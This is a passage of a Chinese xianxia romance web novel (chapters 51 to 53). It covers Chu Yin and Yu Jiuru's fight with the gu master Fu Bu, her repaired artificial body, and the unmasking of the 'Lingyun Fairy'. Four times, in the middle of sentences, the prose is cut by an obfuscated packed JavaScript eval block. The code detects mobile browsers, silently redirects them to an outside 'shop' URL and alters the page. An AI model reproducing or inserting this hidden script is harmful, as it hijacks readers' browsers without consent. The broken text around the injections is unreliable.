“我说的是这些从你的身体里长出来的东西。” 她看得分明,缠在郁九如腿上的东西并不是魔尸的触手,它细细密密,颜色更浅,更规律。 初茵曾经见过这种东西。 魔尸是魔尊躯体的一部分,当年为了怕他死而复生,他的躯体被分割成数块,由各门派分别藏匿。 多年之前,她为了找初怀逸的尸体去了一处鬼洞,那个洞穴镇压的是魔尊的头颅。 洞穴深处的那颗头颅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12896292|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看不清长相,空洞的孔窍里密密麻麻全是这种细丝,几乎铺满了整个洞穴。 “你是不是进过螺骨坡的鬼洞?” 对上她有些急切的目光,郁九如不冷不淡地睨了她一眼,“没去过。” 听到他回答得这么果断,她有些莫名失落。 很多年前,她为了替自己的父亲昭雪,独自去了鬼洞,遇到了这些红色的古怪丝线。 当时她和奕如月被一个路过的修士所救,不过那人刻意遮掩,她们并没有见到他的相貌,也不知道那人的名字。 “算了,我就是随便问问。” 她觉得自己有些魔怔了,郁九如那个时候也不过是一个小孩,怎么可能是他。 越来越多的血丝缠过来,他们似乎对郁九如有很大兴趣,甚至放弃了那些四散逃开的噬魂蛊,全都缠上了他的腿。 两种红色的血丝接壤,瞬间融为一体,郁九如似乎也成了它们的一部分。 看到他越来越苍白的脸,初茵不由担心起来,“你还能动吗?” 那些血丝对她没有什么兴趣,全都绕过了她,但层层叠叠的血网也让她寸步难行。 见她挣扎得厉害,郁九如握剑的右手抬起,微微一动,斩断了那些阻碍她行动的血丝。 做完这些,郁九如敛眸轻轻喘息,这一个动作像是费了他很大的力气。 “出去吧,你能离开,他的目标是我,不会对你怎么样。” 初茵踉跄着站起身,每一步都走得极为艰难。 郁九如以为她是在想办法离开坑内,看了几眼后便闭上眸子,没有再过多关注,直到他突然感觉一只手贴上了自己的手臂。 他诧异地看向她,不明白她为什么还没走,直到感觉到体内传来丝丝微弱的灵力。 她竟然在给自己输送灵力? 郁九如心情复杂,“没用的,不要浪费时间。” 初茵却坚定道,“有没有用,要试过才知道。” 郁九如对她执意留下的行为很不解,自己上一次受伤时,她还在幸灾乐祸,这一次自己受困于此,说不定要丧命,她不应该是更加高兴? 毕竟,倘若没有自己,那她便没有性命之虞,她应当开心得不得了。 难道是不忍心?或者是怜悯同情? 初茵蹙着眉,紧闭着眼睛,似乎在十分努力的调动体力的灵力。 郁九如见状,深吸一口气,缓缓阖上了眼。 初茵不知道他发生了什么,只感觉自己输入他体内的灵力像是泥牛入海,瞬间便消失的无影无踪。 “郁九如!” 她唤他,他却脸色苍白,紧闭着双眼,没有丝毫反应。 与此同时,她发现他的体内出现一股魔气,自胸口在向外蔓延? 为什么会有魔气? 这个时候,她也顾不得这么多,随手封住了他身体的几个大穴,想要制止情况恶化。 灵力蔓延上指尖,飞速结阵,若她还有灵根,这自然是有效,但现在她根本维持不了结出的印法,片刻间,灵气再次溃散。 不行,她转过头,回身去找被丢弃的幽泉剑。 突然,她感觉手臂一紧,回头,看到郁九如正死死盯着她。 他惨白的脸上一丝血色也没有,萧肃的眉眼愈发显得幽黑,眼瞳带着惊骇的雪亮。 尽管只见过一次,但这个起手和收手的姿势,他已经在脑海里回忆过无数遍,绝不可能认错! 竟然是她? 怎么会是她? 她才是灵韵仙子?! 一切想不通的事情,似乎在这瞬间全部都串联在了一切。 初茵不知道他是怎么了,以为他是被魔气染了脑子,所以神志不清醒了。 “怎么了?我去拿剑!”她解释道。 郁九如盯着她的眼睛,漆瞳像一汪暗流汹涌的深潭。 她骗了他。 奕如月也骗了他。 初茵见和他说不通,便伸手去掰他的手掌。 片刻之后,郁九如缓缓松开了手,重新仰倒,瞳孔逐渐涣散开来。 初茵见他又昏迷了过去,赶快手脚并用,抱起幽泉剑。 51. 失神 远远地,郁九如看到一个戴着帷帽的少女。 她一袭青衣,半蹲在地上,裙裾和地上的青草几乎融为一体。 昆仑的弟子几乎全都倒在地上,她就在他们身边,手指飞舞。 她手指跃动,结阵的速度很快,姿势流畅到浑然天成,几乎是瞬间,一个阵法就在弟子的胸口亮起。 “你在做什么!” 他没有见过这样的阵法,快速走过去,一把抓住了她的手腕。 手下之人的身体像是突然僵硬了,一动不动。 “君上!这是灵韵仙子,她刚好路过这,是来帮我们的。” 灵韵仙子? 他之前也有听说过此人的传言,说在虞州有一位灵韵仙子,涤魔之法举世无双。 他迟疑着松开手。 那个女子一声不吭,长指轻点,手指像在进行某种奇妙的舞蹈,片刻便锁住了弟子的魔气。 做完这一切后,她起身便准备离开。 “此处有流窜的魔人,一人独行怕是有危险。”不知出于什么原因,他起身挡住她的路,“不如与我们同行一程?” 这是第一次,他想要更了解一个人。 隔着最外一层的白纱,里面的短纱遮住了她的脸,只露出一截精致小巧的下巴。 她摇了摇头,一言不发地绕过他。 * 郁九如睁开眼,一只白蝶掠过眼前。 视线中的一切渐渐清晰,不远处是一片蜷缩的红色血丝。 很多血丝被齐齐砍断,在地上扭曲挣扎,像是某种还活着的生物。 远处,初茵抱着剑,可能是砍累了,靠着土坑的边缘睡着了。 似乎是感受到他醒来,周围的血丝再次涌动着向他袭来,郁九如看了一眼,表情却不甚在意。 他的目光重新移向初茵的脸上,她发丝凌乱,眉心的印记殷红如血,紧闭的长睫微微颤动,嘴唇有些发白。 他想从她脸上看出几分灵韵仙子的痕迹,但片刻之后,他很快就忘了原本的目的,而变成了纯粹的观察。 眉毛、眼睫、鼻子、嘴唇、下巴。 他的目光肆无忌惮,一遍又一遍地巡视过她的脸。 直到他对上那双突然睁开的眸子,那双漆黑的瞳孔里似乎泛着奇异的光芒,让她的容貌鲜活至极,鲜活到每一根发丝都清晰印在他的眼里。 他怔愣片刻,然后很快移开视线。 “你醒了!”初茵缓缓起身。 郁九如声音有些喑哑,“你不用如此,我不会死。” 初茵倒没有发现他的异常,“你之前已经骗过我一次了,你觉得你的话还有几分可信?” 骗? 他想,要说骗人,自己哪里比得过她。 他微不可查地叹了一口气,“不用担心,篷主共有九个分身,但刚才那人连分身都算不上,只是一个容器,对付他要容易得多。” 初茵第一次听到这个神秘组织的详情,“九个分身?那他岂不是很难杀?” 郁九如神色复杂地看了她一眼,他似乎不介意他知道这些秘闻,对于她的提问知无不言。 他说,坞篷成立之后,篷主为了看到修士死绝的那天,将自己的身体和另外八人结了共生蛊。 那八人都是他精挑细选的天才,只要他们中有人还活着,那他就不会死。 初茵问:“他的本体只要躲起来,那不就没人能杀得了他了?” “自然,不过他若是想亲自行动,就至少要出来一个本体。他无法远程操纵傀儡行动。” 也就是说,初茵的那几个“炉鼎”之中,应该有一人是本体。 初茵不由心悸。 她没想到自己的“后院”中竟然全部都是“假人”。 “你是不是早就知道了?” “并不能确认他们中有没有本体,何况,没有被寄生之前,他们都是有自我意识的人。” 有自我意识? 真是可怕,这让她想起了某种寄生虫,本体以为自己活着,但其实它的营养全都被寄生的虫子吸取了。 “这些应该是蛊师的秘密吧?你还学这些东西?” 郁九如眸色微沉,垂下长睫,“郁氏也是坞篷创始者之一,后来我的祖辈投奔昆仑,便一直被他们追杀。” “以往郁氏的子孙,都死于坞篷之手。他们手段多,我小时候便跟长辈了解一些。” 郁九如说到这些,语气十分平静,仿佛是在说别人的事情。 初茵很快想到那次昆仑遇到的袭击,以及这一次的埋伏,相较于昆仑的修士,坞篷似乎更恨郁氏族人。 那群蛊师针对昆仑,但似乎更看不惯郁氏,想来,也是因为不能容忍背叛。 “你刚才说,能控制傀儡,说明他的本体也在附近。如果他的本体来了,那我们怎么办?” “问得好!我也想知道他会怎么办?” 陌生的声音突兀出现,一袭蓝衣的修士出现在视线里,初茵看着他的脸,却发现自己叫不出他的名字。 “这张皮的名字叫墨云霄,看来初茵姑娘你还是没记住。” 眼前的“莫云霄”背着手,笑眯眯走过来,“不过,他们的名字本就是假的,为的就是让你记不住。” 初茵:“难怪我分不清他们,他们早就成了你的傀儡。” “初茵姑娘还是不要给自己找借口了,你分不清,的确是自己的问题。” “而且,也不全是假的,符布这个名字是真的。初姑娘,你配得上知道我的真名。” “不稀罕。”初茵盯着他那张没有特色的脸,“是你在我的房间里放的盒子?故意引我关注噬魂蛊,你谋划这么久,就是为了今天。” “当然不是。不过我可比郁九如大方多了,他瞒了你许多事,但我可是真心待你好。” 初茵看着他脸上的僵硬笑容,只觉得恶心无比,“滚开!” 符布不在意地笑了笑:“现在不行。郁少君不是告诉你了吗?郁氏族人,注定该死在我手里。” 两人说话期间,郁九如一直闭着眼,他看起来像是昏迷过去了。直到听到这句话,他突然睁开眼。 他眸子深处如昆仑千年的寒冰,不带一丝温度,“可惜,你只有九个分身。” 话音落下的瞬间,一道剑光骤然亮起,撕破了缠绕在他周身的寸寸血线,带着凛冽混着寒意的霜雪瞬间冰冻了整片地面。 郁九如几乎是毫不费力地挣脱了桎梏。 初茵简直有些反应不过来,她瞬间意识到,刚才郁九如说的可能是真话。他真的不会死。 他的目的是引出符布的真身? 清寒的剑气在空中形成肉眼可见的冰霜,骇然荡开,掀起层层泥土,将符布向后掀翻了数米远。 符布身上立刻亮起来透明的法阵,将他包裹其中。 事情发生得太过于突然,法阵完全是自行启动,他没有料到自己这样万全的准备竟然还会发生这样的事情。 “你竟然在骗我?” 符布瞬间意识到自己中计了,眼前的郁九如并没有他想象的那么虚弱,甚至还保有和他一战的能力。 但好在他向来谨慎,带了能抵挡金丹期修士全力一击的防御,此刻他从怀中取出镜子,准备逃离。 郁九如极为冷漠地看了他一眼,提剑上前,“我说过,你剩下的命,我全都要了。” 剑光耀眼不可直视,发出如冰山崩裂一般的气势,瞬间将方圆十几米的一切涤荡一空。 一切尘埃落定时,初茵看到郁九如持剑倒下的背影。 * “我们还有多久才能离开?” “等这里的阵法自动解开即可。”郁九如看起来极为疲惫,倚靠树干,似乎疲惫到了极点。 地上,符布的尸体已经化成了一滩浓黑的水,恶心至极。 “你刚才是杀了他的第一个分身吗?” “第五个。”他淡淡道,“他在我这里吃了不少亏,如今他只剩最后两个分身,想必会更加警惕。” “五个?你竟然杀了他五次?” 初茵简直无法想象,如果自己是符布,一定会对他恨之入骨。 郁九如睁开眼,目光冰冷而平静,“从我的祖辈投靠昆仑时,他便一直在追杀我们。他杀了郁氏27个族人,死五次也不为过。” 听他这么说初茵突然想起自己在洞穴里看到了满满的牌位,看来,他是下定决心要替自己的族人报仇。 “对了,你刚才说你杀了他5次,那他应该会更谨慎些?” “可能是他的时间不多了,毕竟,没有什么蛊虫能让人永生。” 初音想到,符布既然被杀了5次,那除了恨意,恐怕还有恐惧,所以这一次才做了万全的准备。 不过她又怀疑,郁九如是不是早就发现了不对劲? 可能他从看到那个盒子的时候开始,就已经意识到符布的阴谋了,或者他第一眼看到那8个炉鼎的时候,就已经意识到不对劲了。 可是他却假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12907721|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装不知道,继续看着他演戏,这个人的心思比自己想象的还要深。 她偷偷看了他一眼,见他双眸阖上,似在修养,也没有再继续发问打扰他。 这个阵法比他们想象的时间持续的还要久,一连过了一整天,还是没有人能找到他们。 郁九如的伤势看着并不好,他的伤口似乎无法愈合,腿还在流血,气息十分微弱。 没办法,初茵作为唯一能行动的人,只能替他去寻找草药,希望能加快他伤口的愈合。 第二天,她的草药起了一些作用,他们移到了远离魔尸的地方,郁九如的伤口不再流血了。 第三天,郁九如可以简单行动了,初茵在找药的过程中,不慎把鞋给弄丢了。 郁九如看到她一瘸一拐地回来,尚未开口,初茵就主动解释道:“没什么,就是不小心滑了一下,把鞋给弄丢了。” 她习惯性地替他换好了药,然后才意识到他现在已经恢复了行动,完全可以自己做这些。 “你怎么知道这些草药?” 初茵半侧过头,飞快看了他一眼,“这些不都是常见的药,你没常识吗?” 郁九如:…… 半蹲了一会,初茵发现自己的小腿有些隐隐不对劲,那种感觉不像是疼,更像是,半条腿不听使唤了。 她刚想要起身,却瞬间失去了平衡,半跪了下来。 “小心。” 郁九如握住她的手臂,稳稳扶住了她快要跌倒的身体。 初茵抬起头,对上了郁九如的眼睛。 郁九如的目光,移到了她不自然弯折的腿上,问:“你的腿怎么了?” 初茵低下头,这才发现自己腿的弧度很诡异,“不知道,我没感觉有什么。” 她只是被绊倒了一跤,爬起来后没有找到鞋子,便就这么回来了。 郁九如的手抚上她腿的位置,隔着裙裳,初茵甚至感觉到了他手掌的热度。 他微微蹙眉,“上次的补的断口又裂开了。” 在这个阵法困了三日,她体内的灵力不断外溢,加上之前还给自己输入灵力,这具躯壳自然变得脆弱不已。 更可怕的是,整个过程无法逆转,即便他现在为她输入灵力,也只能维持现状不变。 感受到体内充盈的灵力,初茵刚想收回腿,却被他的另一只手牢牢握住腿弯。 郁九如垂下长睫,让人看不清表情,“这条腿已经断了,要重新修补。” “断了?”初茵觉得难以置信。 “嗯。”郁九如淡淡应了一声。 初茵坐在草地上,双手向后支撑,她的一条腿被钳制住,架在他的膝上,她只能用这个姿势来保持平衡。 郁九如掀起裙边,手指顿了一下,又小心翼翼地把她的裤腿卷到膝盖的位置。 初茵看到自己的腿上出现了一道极深的断口,上下是出两种截然不同的颜色,断口以下,几乎是石膏一样的灰白。 “疼吗?”郁九如蓦然开口,等说出后才察觉不对劲。 初茵莫名道:“不疼,假身体怎么可能感觉到疼。” 她想起他说过,这身体只能使用三个月,掐指一算,似乎也没几天了。 “是不是因为快到时间了?” 郁九如整个人顿了一下,没有应她,他垂着眼睫,目光停留在她小腿的裂口上。 他的手中不知何时出现了一把小小的弯刀,接着,她看到他用那刀划破了自己的手掌。 “你……” 她话未说完,下一瞬,殷红的血珠滴入她的伤口,断口处像是烧红的烙铁一般,泛起红光。 郁九如神情认真,他安静地看了一会,忽然又将刀口放入裂痕处,轻轻刮弄。 是刀片划过石头的声音。 诡异的酥麻感从右腿向整个身体蔓延,初茵的手指忍不住蜷缩,扣住了地上的野草。 漫长的折磨终于结束了,初茵松了一口气。 郁九如专注低头,将裂痕严丝合缝地对上,然后缓缓注入灵力。 红线收缩,很快在皮肤上消失,整条腿的颜色变得统一而完整,只余几点细细的浮沫沾在皮肤上。 他低头,轻轻吹了一口气。 郁九如的动作极为自然,像是在对待自己珍重的一件雕塑,初茵甚至没意识到不对劲。 直到一阵凉意拂在她的腿上,她才微微瞪大眼,手指用力收紧,拔出了地上的草根。 她忍不住出声提醒,“郁九如,那是我的腿。” 52. 承诺 “抱歉。” 见她挣扎,郁九如放下了她的腿,平静地道歉,但语气里却没有什么歉意。 初茵看了一眼修复好的腿,重新放下裤腿,再用裙摆盖住,心里还是有一种怪异的感觉。 视线里,一只筋骨分明的手捡起地上的小弯刀,重新收拢进袖口。 她抬头问:“你会雕塑?” 郁九如看向她,解释道:“以前喜欢,略懂一些皮毛。” 初茵觉得他一定是谦虚了,他们这一类人就是这样,说懂个皮毛,那八成就是精通。 做完这一切,郁九如像是累了一般,扬起头倚靠着身后的树干,闭上眼。 浓黑的睫毛覆在苍白的脸上,呈现出一种脆弱的美感。 初茵很怕他死在这里,如果没有他,自己想必很难解开阵法,真等阵法自动解开,恐怕她就化成一拈土了。 沉默了片刻,郁九如突然开口:“我找到了叶氏豢养噬魂蛊的证据,这件事已经交给苏溪去办了。” 初茵的脸上露出难以掩饰的惊讶,一直以来,郁九如对这件事都视而不见,她以为他已经忘记了这事。 他又淡淡道:“灵脉本就不该为哪一个氏族所占据,经过此遭,所有灵脉都会平分给各个宗门。” 平分? 你要是早点平分,我也不至于和那个女人换灵脉还觉得自己赚了。 “你说什么?” 郁九如半掀开眼皮,水润的黑眸半掩,幽邃得仿佛能吞噬一切。 初茵对上他的视线,愣了一下,道:“啊?没什么。我是说那叶挽棠怎么办?” “她既然享受了叶氏带来的荣耀,那她也不是无辜的,更何况她一直冒用别人的身份。” 郁九如突然睁开眸子,看向她,问:“你想如何处置她。” “我?”初茵万没想到有一天他竟然会问自己的看法,她甚至怀疑这是不是一个陷阱。 “我只想知道阿月到底发生了什么,其他的我都不在乎。” 只是叶挽棠的嘴出乎意料的紧,自己监听她有一段时间了,但她却从没有透漏过一点口风。 听到她的话,郁九如微微颔首,闭上眼睛,没有再说话。 郁九如醒来时,已经是深夜。 夜空如黑幕,一弯银月旁点缀着几颗星子。 初茵坐在一块平坦的石头上,仰头算着时辰。 她的裙摆被乱石划破,鞋子也丢了一只,看起来虽然狼狈,但却十分镇定。 郁九如突然想起母亲的话,“你初伯伯为了帮我们,在外流浪,受了很多委屈。” 那时他对于这些没有意识,委屈?是什么样的委屈? 可这几日看到她熟悉地采摘药草,上药的手法,他突然明白了一些。 “抱歉。”他突然道。 初茵摇摇头,“别这么说,只有你快点恢复,我们才能赶紧破了这个结界。” 不知道符布到底是怎么设置的,这个结界内毫无灵力,若是找不到阵眼,那就只能靠郁九如强行破除。 “你父亲的事情,是昆仑对不住你们。” 听到他的话,初茵没有转头,只眨了眨眼。 此时,她坐在石块之上,悬空的腿轻轻晃着,仰头看着天上的星子,像是在看,又像是发呆。 “其实,我在知道我爹是为了昆仑之后,我其实没有多少恨意,因为他做得事情没有错。即便我恨他,但却不能恨他做的事。” “我也讨厌魔种,阿月的父兄便是除魔死了,我也是。” 郁九如盯着她,心中像是被扎了一根刺,每跳动一下,都觉得十分痛苦。 “我也很希望魔种就此消失。郁九如,你说过会满足我的一个条件?” “记得。”郁九如嗓音喑哑。 “我说过愿意帮你,一起解决魔种之灾。但如果魔种真的有遭一日消失了,我要你亲口承认昆仑做过的事情,替我爹洗清冤屈。” “好。” “还有,你不能独占功劳,你要说出事实,是初怀逸之女初茵,以身囚源蛊,灭魔灾。” 郁九如盯着她看了许久,道:“好。我答应你。” 见他答应的这么爽快,初茵甚至有些怀疑,她道:“你可不要骗我,现在,我也算是救了你一命。” “我可以死,但不能死得像我爹那样窝囊,死得不明不白,毫无价值。” 对上她认真的视线,郁九如挪开眼,他觉得胸中郁结,有些喘不过气,“没骗你。” 初茵还是有些不放心,她警告道:“记住你今日说的话,不然我做鬼都不会放过你。” 第五天,他们还是没有等来人,不过郁九如已经可以站起来了,他找到了阵眼所在,成功破了阵。 没有了阵法的遮掩,昆仑的弟子很快发现了他们。 苏溪一脸庆幸:“还好,我差点以为你们着了道,死在那里了。” 初茵却道:“你还说要替我摆庆功酒,没有喝酒之前,我是不会死的。” “好好!回去就摆!” 寻找他们的这两日,所有弟子几乎将魔渊附近翻遍了,就差进入到魔渊里。 其实初茵距离他们很近,但因为有那个古怪阵法的存在,没有人发现他们。 回去之后,初茵发现自己的几个“炉鼎”都失去了意识,他们像是得了离魂症一般,再没有丝毫的反应。 钟瑶:“不知道是怎么回事?找医修来也看不出什么毛病,还有两个人不见了。” 初茵和她解释了符布的事情,让她不用再管这几人了,日后就将他们当成没有意识的工具人。 “你们竟然遇到了这么危险的事?” 听到符布是坞篷的首领,钟瑶也很惊讶,不过在确定初茵没有出现什么问题后,她立刻分享最近发生的事。 “师姐,叶磬被昆仑的人抓了,说是他污染灵脉。” 初茵精神一震,“是什么时候的事?” “就是找你们的这几日,苏首座去了一趟叶氏的府邸,带人将叶磬抓了,据说是查到了他们豢养噬魂蛊。” “这么快?” 这速度出乎她的预料,看来郁九如已经提前做了准备。 “是吧。我也没有想到,后来弟子们就传言,说叶挽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915764|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棠之所以能找到噬魂蛊,就是因为提前埋好了蛊虫。” “她还想逃跑呢,不过也被人给抓起来了,现在就囚禁在驻地。” 她没有想到短短几日,这里竟然发生了这么多的变故。 “魔渊的蛊虫都解决了?” 钟瑶:“早就解决了,不过出现了一件挺奇怪的事情,魔渊没有关闭,反倒是飞出来很多的白蝴蝶。” 蝴蝶? 初茵想到当初放在自己房间里的盒子,那里面也有一只白色的蝴蝶。 “倒是没什么危害,不过,苏首座封锁了那里,不让我们接近。” 魔渊的存在一直是一个谜团。 初茵远远看过那个洞口,黑洞洞的,像是空间突然多出的裂隙,十分骇人。 据说有人曾经好奇过,那里面究竟是什么。 但最后进去的人无一例外都没有再出来过。 “哎!别想这么多了!” 钟瑶说着,把她拉倒床边,打开一个包裹,“师姐,你看看这里面是什么?” 初茵看过去,发现里面一套整齐的衣物和帷帽。 那是她伪装灵韵仙子时,特意购置的衣物,和叶挽棠交易过后,她便把这衣服给丢下悬崖。 钟瑶道:“我那天跟在你后面,看到你丢了它,觉得可惜,我又偷偷捡回来了。师姐,你穿上它,让大家知道真相!” “你才是真的灵韵仙子,那个叶挽棠是假货!” 庆功的宴席就定在晚上。 魔渊的威胁扫除,甚至有一批昆仑弟子已经提前离开了,剩下的那些人也整装待发,就等一声令下撤退。 眼下,虞州最有特产的灵果、灵食摆了满满一个院子——就在之前搭帐篷的院子里。 这个宴会无拘无束,不设主次位置,所有人可以自由行动,想吃什么吃什么,想玩什么玩什么,只要不过火都可以。 郁九如也出现在院门口,经过几日的修养,他的伤势恢复得差不多了。 “大家很久没有这么开心了,要我说,这样的宴会应该多办。” 苏溪看到他,便凑过去,和他介绍自己的天才创意。 郁九如环视一圈,看到弟子们自在地招呼玩闹,甚至有些患病的弟子也拄着拐棍,来凑这个热闹。 郁九如浅淡的眸子扫了一圈,“想法没问题,可你似乎忘了这个宴会是为什么办的。” 宴会是为答谢初茵才办的,现在没有了主次,和玩闹没有区别。 “别担心这个,我是和初姑娘说过的,她也同意。”苏溪说着便四下寻找,“初茵呢?我刚才还看到她在那。” 郁九如看了一圈,也没有见到人。 就在这时,一道喧嚣声突然响起,两人顺着声音看过去,看到了台阶之上出现的一位青衣女子。 月光下,女子背对着众人,款款而行。 青色纱衣被温柔地吹拂而起,帷帽垂下的白纱也随之摇曳,她的身影静谧,像是云纱雾罩的唯美梦境。 郁九如的瞳孔骤然紧缩。 “她是谁?”苏溪问,转头却发现旁边的人已经消失不见。 53. 初心 人群中已经有人认出来这一身装扮,他们交头接耳,小声说着“灵韵仙子”这个名字。 那女子转过身,看向众人,双层的白色面纱严实遮住了她的脸。 “我不是灵韵仙子。”她声音清脆。 说着,她取下帷帽,露出一张年轻朝气的脸。 “钟瑶姑娘!” “真是钟瑶姑娘?为什么她说自己不是?” “我都叫顺口了。” …… 钟瑶深吸一口气,“要和各位道一声歉,为了和人赌气,所以让大家叫我‘灵韵仙子’,但其实,我并不是她。” “当然,叶挽棠也不是。”她补充道。 昆仑的弟子面面相觑,事到如今,他们却发现自己只顾着站队,完全没有考虑过灵韵仙子不在她们之中的情况。 “钟瑶姑娘,那你弄这一出是为了什么?” “对啊!之前还逼着我们叫你仙子。” “可不是,我现在还改不过来。” …… 钟瑶并不惧怕突如其来指责,“我之所以这么做,是因为我知道叶挽棠是假的,更是因为,我曾经被真正的灵韵仙子所救,知道她是什么样的人。” “那时我问她,为什么不能以真面目示人,她回答我说,她是谁都没有关系,只是想用自己的能力帮上一点忙。” “在虞州,有很多人自称是‘灵韵仙子’的人出现过,有人用这个名头行善,有人用这个名义造势牟利。” 的确,关于灵韵仙子到底是谁的传闻,这些年就没有停止过,这其中自然也有沽名钓誉,最后被人发现是假的。 不过这里面最成功的一个,就是叶挽棠了。 “从今日起,这世上便没有‘灵韵仙子’了。仙子将她的法衣给了我,说她要离开了,以后,也不会再回来。” 宣布完这件事情后,钟瑶转身离开,留下一脸震惊的弟子。 初茵站在拐角处,听到她的话后,无奈地笑了笑。 当时钟瑶希望她能站在众人面前,但她却无论如何都不同意。 “师妹。你不觉得,这里的灵韵仙子太多了吗?” 一个驻地可以冒出两个灵韵仙子,但若人人都自称灵韵仙子,那就不伦不类了。 不知道是不是赌气,现在她倒是几乎把一切都抖了出来。 郁九如在靠近之后,很快就发现这不是自己记忆中的那人。 对于她能说实话,他觉得十分意外。 不过更让他意外的事,钟瑶竟然找上了自己。 僻静处,郁九如的目光在她身上的衣服上扫了一圈,方才看向她的脸,“你有话要说?” “是的。”钟瑶神色镇定地看向他,“听我师姐说,君上一直认为灵韵仙子是奕如月?” 郁九如轻轻抬眉:“是又如何。” 钟瑶看着他,一字一顿,“若是我告诉君上,我师姐才是灵韵仙子,君上会信吗?” 会信吗? 他想,若是之前的他,想来是不会信。 可是现在…… 他没有回答,而是问:“你想说什么?” “你只知道我师姐进了合欢宗,但我师姐最开始并不想入合欢宗,你知道她最想去的宗门是什么吗?” 郁九如沉思片刻,道:“云岚宗。” 奕如月在那里,她自然是想和自己的好友进同一个宗门。 “没错。”钟瑶点头,看她的眼神带了一丝诧异,“可惜她的灵根拖累了她的修行,导致她不能通过考核,这才转投合欢宗。” “可是这样属性相冲的灵根,注定什么都修炼不了。不怕你笑话,她虽然比我先进宗门,可她的功力却还不如我。” 郁九如忽然想起她极不擅长心法,他一度觉得她是心神不定。 现在想来,若是一个人灵根残缺,完全感受不到灵力,那也会成为习惯,自然无法轻易进入状态。 他不由开口,问:“所以,她便开始修行涤魔之法?” 钟瑶轻叹了一口气,“没有这么顺利。那时常有人来我们宗门寻仇,说自己的师伯兄弟是被她父亲害死的,让她偿命。” “那些人大多是无赖,很多听说她是昆仑的剑君夫人,便想来讹灵石。她打不过那些人,还是师父带着我们一起摆平的。” “我刚入宗门那会,她戾气很重,整日去赌坊,若不是奕如月,她不会修行涤魔之法。” 郁九如听到了很多他不知的过往,神色也愈发凝重,“那些人,是因为听说了昆仑的婚约后,才来找的她?” “是。”钟瑶点头,“如果不是你们昆仑宣布婚约,连我也不知道她的真实身份。” “后来,她一直用‘灵韵仙子’的名号在外行走,声名渐盛,却不愿公布自己的身份,你可知是为何?” 郁九如确实想不通,所以他微微摇了摇头。 在他看来,只要公开她的真实身份,对她当时的处境会有很大的帮助。 钟瑶意味深长地看了他一眼,“她说,她不愿意有人把‘灵韵仙子’和初怀逸联系在一起。” “任何一个人,哪怕是我来当灵韵仙子,都会让人从心里敬佩,相信我做这些完全是出于自己的善意。” “但若是初怀逸的女儿做这些,大家只会认为她是在替父赎罪,是理所应当的。她觉得她父亲没有错,所以她用不着赎罪。” “而且,她说做这些也不是为了让人感激,她只是在救自己的同时,顺手救了一下旁人。” 郁九如目光凝滞,他完全没有想到初茵这些年是这样过来的。 他也曾经派人打听过她,只知道她整日流连于赌场,荒废修行,却从没有意识到她为什么会这样。 钟瑶深吸一口气,“今日,我说的句句都是事实,可以用道心起誓。” 郁九如制止她,“不必了,我信。” 钟瑶露出一抹微笑,“那她今后若是有什么地方惹君上生气,也当请你看在她与人为善的份上,不要为难她。” 郁九如心下五味杂陈,沉默片刻后,缓缓点了下头。 * 初茵在听到一半的时候,就被人叫走了。 叫走她的人是孟星寒,“如果我说出奕如月的下落,你是不是就能放过叶挽棠,放过我们。” 初茵没想到还没有等到她主动去找他,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938697|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就坐不住来找自己了。 “这不是我说了算,叶家和南疆有勾结,你来找我有什么用?” 孟星寒道:“但阿挽是无辜的,她只是被骗了。如果你肯替她求情,郁九如一定会绕她一命。” “你希望我去求情?”初茵对他的想法觉得不可思议。 她紧紧盯着他的脸,想从中看出一丝蛛丝马迹,但很可惜,她什么都没有看出来,只看出他的表情很紧张。 他像是在下什么重要的决定,整个人呈现出一种焦躁不安的状态。 “奕如月没有死,我带你去见她。” 闻言,初茵心跳如擂鼓,她强迫自己镇定下来,“你以为我会信你?” 突然,他从身后拿出一柄剑,“有这个,你信不信?” 借着月色,初茵认出了霜寒剑。 她一把夺过剑,握在手中的瞬间,霜寒剑像是感受到了她,也回以剑意。 “她在哪?” 孟星寒没有回答,一言不发地转身离开。 